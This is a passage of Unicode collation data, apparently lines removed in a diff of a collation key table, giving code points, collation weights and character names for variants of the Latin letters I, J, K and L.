-1D5A8 ; [.1CAD.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL I
-1D5DC ; [.1CAD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL I
-1D610 ; [.1CAD.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL I
-1D644 ; [.1CAD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL I
-1D678 ; [.1CAD.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL I
-24BE  ; [.1CAD.0020.000C] # CIRCLED LATIN CAPITAL LETTER I
-1F158 ; [.1CAD.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER I
-2071  ; [.1CAD.0020.0014] # SUPERSCRIPT LATIN SMALL LETTER I
-1D62  ; [.1CAD.0020.0015] # LATIN SUBSCRIPT SMALL LETTER I
-1D35  ; [.1CAD.0020.001D] # MODIFIER LETTER CAPITAL I
-1F138 ; [.1CAD.0020.001D] # SQUARED LATIN CAPITAL LETTER I
-1F178 ; [.1CAD.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER I
-00ED  ; [.1CAD.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD  ; [.1CAD.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE
-00EC  ; [.1CAD.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER I WITH GRAVE
-00CC  ; [.1CAD.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE
-012D  ; [.1CAD.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER I WITH BREVE
-012C  ; [.1CAD.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE
-00EE  ; [.1CAD.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX
-00CE  ; [.1CAD.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
-01D0  ; [.1CAD.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER I WITH CARON
-01CF  ; [.1CAD.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER I WITH CARON
-00EF  ; [.1CAD.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER I WITH DIAERESIS
-00CF  ; [.1CAD.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS
-1E2F  ; [.1CAD.0020.0002][.0000.002B.0002][.0000.0024.0002] # LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE
-1E2E  ; [.1CAD.0020.0008][.0000.002B.0002][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE
-0129  ; [.1CAD.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER I WITH TILDE
-0128  ; [.1CAD.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER I WITH TILDE
-0130  ; [.1CAD.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER I WITH DOT ABOVE
-012F  ; [.1CAD.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER I WITH OGONEK
-012E  ; [.1CAD.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK
-012B  ; [.1CAD.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER I WITH MACRON
-012A  ; [.1CAD.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON
-1EC9  ; [.1CAD.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER I WITH HOOK ABOVE
-1EC8  ; [.1CAD.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER I WITH HOOK ABOVE
-0209  ; [.1CAD.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER I WITH DOUBLE GRAVE
-0208  ; [.1CAD.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER I WITH DOUBLE GRAVE
-020B  ; [.1CAD.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER I WITH INVERTED BREVE
-020A  ; [.1CAD.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER I WITH INVERTED BREVE
-1ECB  ; [.1CAD.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER I WITH DOT BELOW
-1ECA  ; [.1CAD.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER I WITH DOT BELOW
-1E2D  ; [.1CAD.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER I WITH TILDE BELOW
-1E2C  ; [.1CAD.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER I WITH TILDE BELOW
-1F18B ; [.1CAD.0020.001D][.1BF5.0020.001D] # NEGATIVE SQUARED IC
-1F194 ; [.1CAD.0020.001D][.1C0A.0020.001D] # SQUARED ID
-2171  ; [.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL TWO
-2161  ; [.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL TWO
-2172  ; [.1CAD.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL THREE
-2162  ; [.1CAD.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL THREE
-0133  ; [.1CAD.0020.0004][.1CC7.0020.0004] # LATIN SMALL LIGATURE IJ
-0132  ; [.1CAD.0020.000A][.1CC7.0020.000A] # LATIN CAPITAL LIGATURE IJ
-33CC  ; [.1CAD.0020.001C][.1D34.0020.001C] # SQUARE IN
-337A  ; [.1CAD.0020.001D][.1E30.0020.001D] # SQUARE IU
-2173  ; [.1CAD.0020.0004][.1E5E.0020.0004] # SMALL ROMAN NUMERAL FOUR
-2163  ; [.1CAD.0020.000A][.1E5E.0020.000A] # ROMAN NUMERAL FOUR
-2178  ; [.1CAD.0020.0004][.1E7A.0020.0004] # SMALL ROMAN NUMERAL NINE
-2168  ; [.1CAD.0020.000A][.1E7A.0020.000A] # ROMAN NUMERAL NINE
-0131  ; [.1CB1.0020.0002] # LATIN SMALL LETTER DOTLESS I
-1D6A4 ; [.1CB1.0020.0005] # MATHEMATICAL ITALIC SMALL DOTLESS I
-026A  ; [.1CB5.0020.0002] # LATIN LETTER SMALL CAPITAL I
-1DA6  ; [.1CB5.0020.0014] # MODIFIER LETTER SMALL CAPITAL I
-A7FE  ; [.1CB9.0020.0002] # LATIN EPIGRAPHIC LETTER I LONGA
-A7F7  ; [.1CBA.0020.0002] # LATIN EPIGRAPHIC LETTER SIDEWAYS I
-1D09  ; [.1CBB.0020.0002] # LATIN SMALL LETTER TURNED I
-1D4E  ; [.1CBB.0020.0014] # MODIFIER LETTER SMALL TURNED I
-0268  ; [.1CBC.0020.0002] # LATIN SMALL LETTER I WITH STROKE
-0197  ; [.1CBC.0020.0008] # LATIN CAPITAL LETTER I WITH STROKE
-1DA4  ; [.1CBC.0020.0014] # MODIFIER LETTER SMALL I WITH STROKE
-1D7B  ; [.1CC0.0020.0002] # LATIN SMALL CAPITAL LETTER I WITH STROKE
-1DA7  ; [.1CC0.0020.0014] # MODIFIER LETTER SMALL CAPITAL I WITH STROKE
-1D96  ; [.1CC1.0020.0002] # LATIN SMALL LETTER I WITH RETROFLEX HOOK
-0269  ; [.1CC2.0020.0002] # LATIN SMALL LETTER IOTA
-0196  ; [.1CC2.0020.0008] # LATIN CAPITAL LETTER IOTA
-1DA5  ; [.1CC2.0020.0014] # MODIFIER LETTER SMALL IOTA
-1D7C  ; [.1CC6.0020.0002] # LATIN SMALL LETTER IOTA WITH STROKE
-006A  ; [.1CC7.0020.0002] # LATIN SMALL LETTER J
-FF4A  ; [.1CC7.0020.0003] # FULLWIDTH LATIN SMALL LETTER J
-24A5  ; [*0310.0020.0004][.1CC7.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER J
-2149  ; [.1CC7.0020.0005] # DOUBLE-STRUCK ITALIC SMALL J
-1D423 ; [.1CC7.0020.0005] # MATHEMATICAL BOLD SMALL J
-1D457 ; [.1CC7.0020.0005] # MATHEMATICAL ITALIC SMALL J
-1D48B ; [.1CC7.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL J
-1D4BF ; [.1CC7.0020.0005] # MATHEMATICAL SCRIPT SMALL J
-1D4F3 ; [.1CC7.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL J
-1D527 ; [.1CC7.0020.0005] # MATHEMATICAL FRAKTUR SMALL J
-1D55B ; [.1CC7.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL J
-1D58F ; [.1CC7.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL J
-1D5C3 ; [.1CC7.0020.0005] # MATHEMATICAL SANS-SERIF SMALL J
-1D5F7 ; [.1CC7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL J
-1D62B ; [.1CC7.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL J
-1D65F ; [.1CC7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL J
-1D693 ; [.1CC7.0020.0005] # MATHEMATICAL MONOSPACE SMALL J
-24D9  ; [.1CC7.0020.0006] # CIRCLED LATIN SMALL LETTER J
-004A  ; [.1CC7.0020.0008] # LATIN CAPITAL LETTER J
-FF2A  ; [.1CC7.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER J
-1F119 ; [*0310.0020.0004][.1CC7.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER J
-1D409 ; [.1CC7.0020.000B] # MATHEMATICAL BOLD CAPITAL J
-1D43D ; [.1CC7.0020.000B] # MATHEMATICAL ITALIC CAPITAL J
-1D471 ; [.1CC7.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL J
-1D4A5 ; [.1CC7.0020.000B] # MATHEMATICAL SCRIPT CAPITAL J
-1D4D9 ; [.1CC7.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL J
-1D50D ; [.1CC7.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL J
-1D541 ; [.1CC7.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL J
-1D575 ; [.1CC7.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL J
-1D5A9 ; [.1CC7.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL J
-1D5DD ; [.1CC7.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL J
-1D611 ; [.1CC7.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL J
-1D645 ; [.1CC7.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL J
-1D679 ; [.1CC7.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL J
-24BF  ; [.1CC7.0020.000C] # CIRCLED LATIN CAPITAL LETTER J
-1F159 ; [.1CC7.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER J
-02B2  ; [.1CC7.0020.0014] # MODIFIER LETTER SMALL J
-2C7C  ; [.1CC7.0020.0015] # LATIN SUBSCRIPT SMALL LETTER J
-1D36  ; [.1CC7.0020.001D] # MODIFIER LETTER CAPITAL J
-1F139 ; [.1CC7.0020.001D] # SQUARED LATIN CAPITAL LETTER J
-1F179 ; [.1CC7.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER J
-0135  ; [.1CC7.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX
-0134  ; [.1CC7.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX
-01F0  ; [.1CC7.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER J WITH CARON
-0237  ; [.1CCB.0020.0002] # LATIN SMALL LETTER DOTLESS J
-1D6A5 ; [.1CCB.0020.0005] # MATHEMATICAL ITALIC SMALL DOTLESS J
-1D0A  ; [.1CCF.0020.0002] # LATIN LETTER SMALL CAPITAL J
-0249  ; [.1CD0.0020.0002] # LATIN SMALL LETTER J WITH STROKE
-0248  ; [.1CD0.0020.0008] # LATIN CAPITAL LETTER J WITH STROKE
-029D  ; [.1CD4.0020.0002] # LATIN SMALL LETTER J WITH CROSSED-TAIL
-A7B2  ; [.1CD4.0020.0008] # LATIN CAPITAL LETTER J WITH CROSSED-TAIL
-1DA8  ; [.1CD4.0020.0014] # MODIFIER LETTER SMALL J WITH CROSSED-TAIL
-025F  ; [.1CD8.0020.0002] # LATIN SMALL LETTER DOTLESS J WITH STROKE
-1DA1  ; [.1CD8.0020.0014] # MODIFIER LETTER SMALL DOTLESS J WITH STROKE
-0284  ; [.1CDC.0020.0002] # LATIN SMALL LETTER DOTLESS J WITH STROKE AND HOOK
-006B  ; [.1CE0.0020.0002] # LATIN SMALL LETTER K
-FF4B  ; [.1CE0.0020.0003] # FULLWIDTH LATIN SMALL LETTER K
-1DDC  ; [.1CE0.0020.0004] # COMBINING LATIN SMALL LETTER K
-24A6  ; [*0310.0020.0004][.1CE0.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER K
-1D424 ; [.1CE0.0020.0005] # MATHEMATICAL BOLD SMALL K
-1D458 ; [.1CE0.0020.0005] # MATHEMATICAL ITALIC SMALL K
-1D48C ; [.1CE0.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL K
-1D4C0 ; [.1CE0.0020.0005] # MATHEMATICAL SCRIPT SMALL K
-1D4F4 ; [.1CE0.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL K
-1D528 ; [.1CE0.0020.0005] # MATHEMATICAL FRAKTUR SMALL K
-1D55C ; [.1CE0.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL K
-1D590 ; [.1CE0.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL K
-1D5C4 ; [.1CE0.0020.0005] # MATHEMATICAL SANS-SERIF SMALL K
-1D5F8 ; [.1CE0.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL K
-1D62C ; [.1CE0.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL K
-1D660 ; [.1CE0.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL K
-1D694 ; [.1CE0.0020.0005] # MATHEMATICAL MONOSPACE SMALL K
-24DA  ; [.1CE0.0020.0006] # CIRCLED LATIN SMALL LETTER K
-004B  ; [.1CE0.0020.0008] # LATIN CAPITAL LETTER K
-212A  ; [.1CE0.0020.0008] # KELVIN SIGN
-FF2B  ; [.1CE0.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER K
-1F11A ; [*0310.0020.0004][.1CE0.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER K
-1D40A ; [.1CE0.0020.000B] # MATHEMATICAL BOLD CAPITAL K
-1D43E ; [.1CE0.0020.000B] # MATHEMATICAL ITALIC CAPITAL K
-1D472 ; [.1CE0.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL K
-1D4A6 ; [.1CE0.0020.000B] # MATHEMATICAL SCRIPT CAPITAL K
-1D4DA ; [.1CE0.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL K
-1D50E ; [.1CE0.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL K
-1D542 ; [.1CE0.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL K
-1D576 ; [.1CE0.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL K
-1D5AA ; [.1CE0.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL K
-1D5DE ; [.1CE0.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL K
-1D612 ; [.1CE0.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL K
-1D646 ; [.1CE0.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL K
-1D67A ; [.1CE0.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL K
-24C0  ; [.1CE0.0020.000C] # CIRCLED LATIN CAPITAL LETTER K
-1F15A ; [.1CE0.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER K
-1D4F  ; [.1CE0.0020.0014] # MODIFIER LETTER SMALL K
-2096  ; [.1CE0.0020.0015] # LATIN SUBSCRIPT SMALL LETTER K
-1D37  ; [.1CE0.0020.001D] # MODIFIER LETTER CAPITAL K
-1F13A ; [.1CE0.0020.001D] # SQUARED LATIN CAPITAL LETTER K
-1F17A ; [.1CE0.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER K
-1E31  ; [.1CE0.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER K WITH ACUTE
-1E30  ; [.1CE0.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER K WITH ACUTE
-01E9  ; [.1CE0.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER K WITH CARON
-01E8  ; [.1CE0.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER K WITH CARON
-0137  ; [.1CE0.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER K WITH CEDILLA
-0136  ; [.1CE0.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER K WITH CEDILLA
-A7A3  ; [.1CE0.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER K WITH OBLIQUE STROKE
-A7A2  ; [.1CE0.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER K WITH OBLIQUE STROKE
-1E33  ; [.1CE0.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER K WITH DOT BELOW
-1E32  ; [.1CE0.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER K WITH DOT BELOW
-1E35  ; [.1CE0.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER K WITH LINE BELOW
-1E34  ; [.1CE0.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER K WITH LINE BELOW
-3384  ; [.1CE0.0020.001C][.1BC2.0020.001D] # SQUARE KA
-3385  ; [.1CE0.0020.001D][.1BDB.0020.001D] # SQUARE KB
-3389  ; [.1CE0.0020.001C][.1BF5.0020.001C][.1BC2.0020.001C][.1CF2.0020.001C] # SQUARE KCAL
-338F  ; [.1CE0.0020.001C][.1C6F.0020.001C] # SQUARE KG
-3391  ; [.1CE0.0020.001C][.1C93.0020.001D][.1E9C.0020.001C] # SQUARE KHZ
-33CD  ; [.1CE0.0020.001D][.1CE0.0020.001D] # SQUARE KK
-3398  ; [.1CE0.0020.001C][.1CF2.0020.001C] # SQUARE KL
-339E  ; [.1CE0.0020.001C][.1D25.0020.001C] # SQUARE KM
-33CE  ; [.1CE0.0020.001D][.1D25.0020.001D] # SQUARE KM CAPITAL
-33A2  ; [.1CE0.0020.001C][.1D25.0020.001C][.1BBA.0020.001C] # SQUARE KM SQUARED
-33A6  ; [.1CE0.0020.001C][.1D25.0020.001C][.1BBB.0020.001C] # SQUARE KM CUBED
-33AA  ; [.1CE0.0020.001C][.1D87.0020.001D][.1BC2.0020.001C] # SQUARE KPA
-33CF  ; [.1CE0.0020.001C][.1E10.0020.001C] # SQUARE KT
-33B8  ; [.1CE0.0020.001C][.1E5E.0020.001D] # SQUARE KV
-33BE  ; [.1CE0.0020.001C][.1E70.0020.001D] # SQUARE KW
-33C0  ; [.1CE0.0020.001C][.1F5C.0020.001D] # SQUARE K OHM
-1D0B  ; [.1CE4.0020.0002] # LATIN LETTER SMALL CAPITAL K
-1D84  ; [.1CE5.0020.0002] # LATIN SMALL LETTER K WITH PALATAL HOOK
-0199  ; [.1CE6.0020.0002] # LATIN SMALL LETTER K WITH HOOK
-0198  ; [.1CE6.0020.0008] # LATIN CAPITAL LETTER K WITH HOOK
-2C6A  ; [.1CEA.0020.0002] # LATIN SMALL LETTER K WITH DESCENDER
-2C69  ; [.1CEA.0020.0008] # LATIN CAPITAL LETTER K WITH DESCENDER
-A741  ; [.1CEB.0020.0002] # LATIN SMALL LETTER K WITH STROKE
-A740  ; [.1CEB.0020.0008] # LATIN CAPITAL LETTER K WITH STROKE
-A743  ; [.1CEC.0020.0002] # LATIN SMALL LETTER K WITH DIAGONAL STROKE
-A742  ; [.1CEC.0020.0008] # LATIN CAPITAL LETTER K WITH DIAGONAL STROKE
-A745  ; [.1CED.0020.0002] # LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE
-A744  ; [.1CED.0020.0008] # LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE
-029E  ; [.1CEE.0020.0002] # LATIN SMALL LETTER TURNED K
-A7B0  ; [.1CEE.0020.0008] # LATIN CAPITAL LETTER TURNED K
-006C  ; [.1CF2.0020.0002] # LATIN SMALL LETTER L
-FF4C  ; [.1CF2.0020.0003] # FULLWIDTH LATIN SMALL LETTER L
-1DDD  ; [.1CF2.0020.0004] # COMBINING LATIN SMALL LETTER L
-217C  ; [.1CF2.0020.0004] # SMALL ROMAN NUMERAL FIFTY
-24A7  ; [*0310.0020.0004][.1CF2.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER L
-2113  ; [.1CF2.0020.0005] # SCRIPT SMALL L
-1D425 ; [.1CF2.0020.0005] # MATHEMATICAL BOLD SMALL L
-1D459 ; [.1CF2.0020.0005] # MATHEMATICAL ITALIC SMALL L
-1D48D ; [.1CF2.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL L
-1D4C1 ; [.1CF2.0020.0005] # MATHEMATICAL SCRIPT SMALL L
-1D4F5 ; [.1CF2.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL L
-1D529 ; [.1CF2.0020.0005] # MATHEMATICAL FRAKTUR SMALL L
-1D55D ; [.1CF2.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL L
-1D591 ; [.1CF2.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL L
-1D5C5 ; [.1CF2.0020.0005] # MATHEMATICAL SANS-SERIF SMALL L
-1D5F9 ; [.1CF2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL L
-1D62D ; [.1CF2.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL L
-1D661 ; [.1CF2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL L
-1D695 ; [.1CF2.0020.0005] # MATHEMATICAL MONOSPACE SMALL L
-24DB  ; [.1CF2.0020.0006] # CIRCLED LATIN SMALL LETTER L
-004C  ; [.1CF2.0020.0008] # LATIN CAPITAL LETTER L
-FF2C  ; [.1CF2.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER L
-216C  ; [.1CF2.0020.000A] # ROMAN NUMERAL FIFTY
-1F11B ; [*0310.0020.0004][.1CF2.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER L
-2112  ; [.1CF2.0020.000B] # SCRIPT CAPITAL L
-1D40B ; [.1CF2.0020.000B] # MATHEMATICAL BOLD CAPITAL L
-1D43F ; [.1CF2.0020.000B] # MATHEMATICAL ITALIC CAPITAL L
-1D473 ; [.1CF2.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL L
-1D4DB ; [.1CF2.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL L
-1D50F ; [.1CF2.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL L
-1D543 ; [.1CF2.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL L
-1D577 ; [.1CF2.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL L
-1D5AB ; [.1CF2.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL L
-1D5DF ; [.1CF2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL L
-1D613 ; [.1CF2.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL L
-1D647 ; [.1CF2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL L
-1D67B ; [.1CF2.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL L
-24C1  ; [.1CF2.0020.000C] # CIRCLED LATIN CAPITAL LETTER L
-1F15B ; [.1CF2.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER L
-02E1  ; [.1CF2.0020.0014] # MODIFIER LETTER SMALL L
-2097  ; [.1CF2.0020.0015] # LATIN SUBSCRIPT SMALL LETTER L
-1D38  ; [.1CF2.0020.001D] # MODIFIER LETTER CAPITAL L
-1F13B ; [.1CF2.0020.001D] # SQUARED LATIN CAPITAL LETTER L
-1F17B ; [.1CF2.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER L
-013A  ; [.1CF2.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER L WITH ACUTE
-0139  ; [.1CF2.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER L WITH ACUTE
-013E  ; [.1CF2.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER L WITH CARON
-013D  ; [.1CF2.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER L WITH CARON
-013C  ; [.1CF2.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER L WITH CEDILLA
-013B  ; [.1CF2.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER L WITH CEDILLA
-0142  ; [.1CF2.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER L WITH STROKE
-0141  ; [.1CF2.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER L WITH STROKE
-1E37  ; [.1CF2.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER L WITH DOT BELOW
-1E36  ; [.1CF2.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER L WITH DOT BELOW
-1E39  ; [.1CF2.0020.0002][.0000.0042.0002][.0000.0032.0002] # LATIN SMALL LETTER L WITH DOT BELOW AND MACRON
-1E38  ; [.1CF2.0020.0008][.0000.0042.0002][.0000.0032.0002] # LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON
-1E3D  ; [.1CF2.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW
-1E3C  ; [.1CF2.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW
-1E3B  ; [.1CF2.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER L WITH LINE BELOW
-1E3A  ; [.1CF2.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER L WITH LINE BELOW
-0140  ; [.1CF2.0020.0002][.0000.010B.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT
-006C 00B7 ; [.1CF2.0020.0002][.0000.010B.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT
-006C 0387 ; [.1CF2.0020.0002][.0000.010B.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT
-013F  ; [.1CF2.0020.0008][.0000.010B.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT
-004C 00B7 ; [.1CF2.0020.0008][.0000.010B.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT
-004C 0387 ; [.1CF2.0020.0008][.0000.010B.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT
-01C9  ; [.1CF2.0020.0004][.1CC7.0020.0004] # LATIN SMALL LETTER LJ
-01C8  ; [.1CF2.0020.000A][.1CC7.0020.0004] # LATIN CAPITAL LETTER L WITH SMALL LETTER J
-01C7  ; [.1CF2.0020.000A][.1CC7.0020.000A] # LATIN CAPITAL LETTER LJ
-1EFB  ; [.1CF2.0020.0004][.1CF2.0020.0004] # LATIN SMALL LETTER MIDDLE-WELSH LL
-1EFA  ; [.1CF2.0020.000A][.1CF2.0020.000A] # LATIN CAPITAL LETTER MIDDLE-WELSH LL
-33D0  ; [.1CF2.0020.001C][.1D25.0020.001C] # SQUARE LM
-33D1  ; [.1CF2.0020.001C][.1D34.0020.001C] # SQUARE LN
-33D2  ; [.1CF2.0020.001C][.1D58.0020.001C][.1C6F.0020.001C] # SQUARE LOG
-02AA  ; [.1CF2.0020.0004][.1DEC.0020.0004] # LATIN SMALL LETTER LS DIGRAPH
-32CF  ; [.1CF2.0020.001D][.1E10.0020.001D][.1C0A.0020.001D] # LIMITED LIABILITY SIGN
-33D3  ; [.1CF2.0020.001C][.1E7A.0020.001C] # SQUARE LX
-02AB  ; [.1CF2.0020.0004][.1E9C.0020.0004] # LATIN SMALL LETTER LZ DIGRAPH
-029F  ; [.1CF6.0020.0002] # LATIN LETTER SMALL CAPITAL L
-1DDE  ; [.1CF6.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL L
-1DAB  ; [.1CF6.0020.0014] # MODIFIER LETTER SMALL CAPITAL L
-A747  ; [.1CFA.0020.0002] # LATIN SMALL LETTER BROKEN L
-A746  ; [.1CFA.0020.0008] # LATIN CAPITAL LETTER BROKEN L
-1D0C  ; [.1CFB.0020.0002] # LATIN LETTER SMALL CAPITAL L WITH STROKE
-A749  ; [.1CFC.0020.0002] # LATIN SMALL LETTER L WITH HIGH STROKE
-A748  ; [.1CFC.0020.0008] # LATIN CAPITAL LETTER L WITH HIGH STROKE
-019A  ; [.1CFD.0020.0002] # LATIN SMALL LETTER L WITH BAR
-023D  ; [.1CFD.0020.0008] # LATIN CAPITAL LETTER L WITH BAR
-2C61  ; [.1D01.0020.0002] # LATIN SMALL LETTER L WITH DOUBLE BAR
-2C60  ; [.1D01.0020.0008] # LATIN CAPITAL LETTER L WITH DOUBLE BAR
-026B  ; [.1D02.0020.0002] # LATIN SMALL LETTER L WITH MIDDLE TILDE
-2C62  ; [.1D02.0020.0008] # LATIN CAPITAL LETTER L WITH MIDDLE TILDE
-AB5E  ; [.1D02.0020.0014] # MODIFIER LETTER SMALL L WITH MIDDLE TILDE
-AB38  ; [.1D06.0020.0002] # LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE
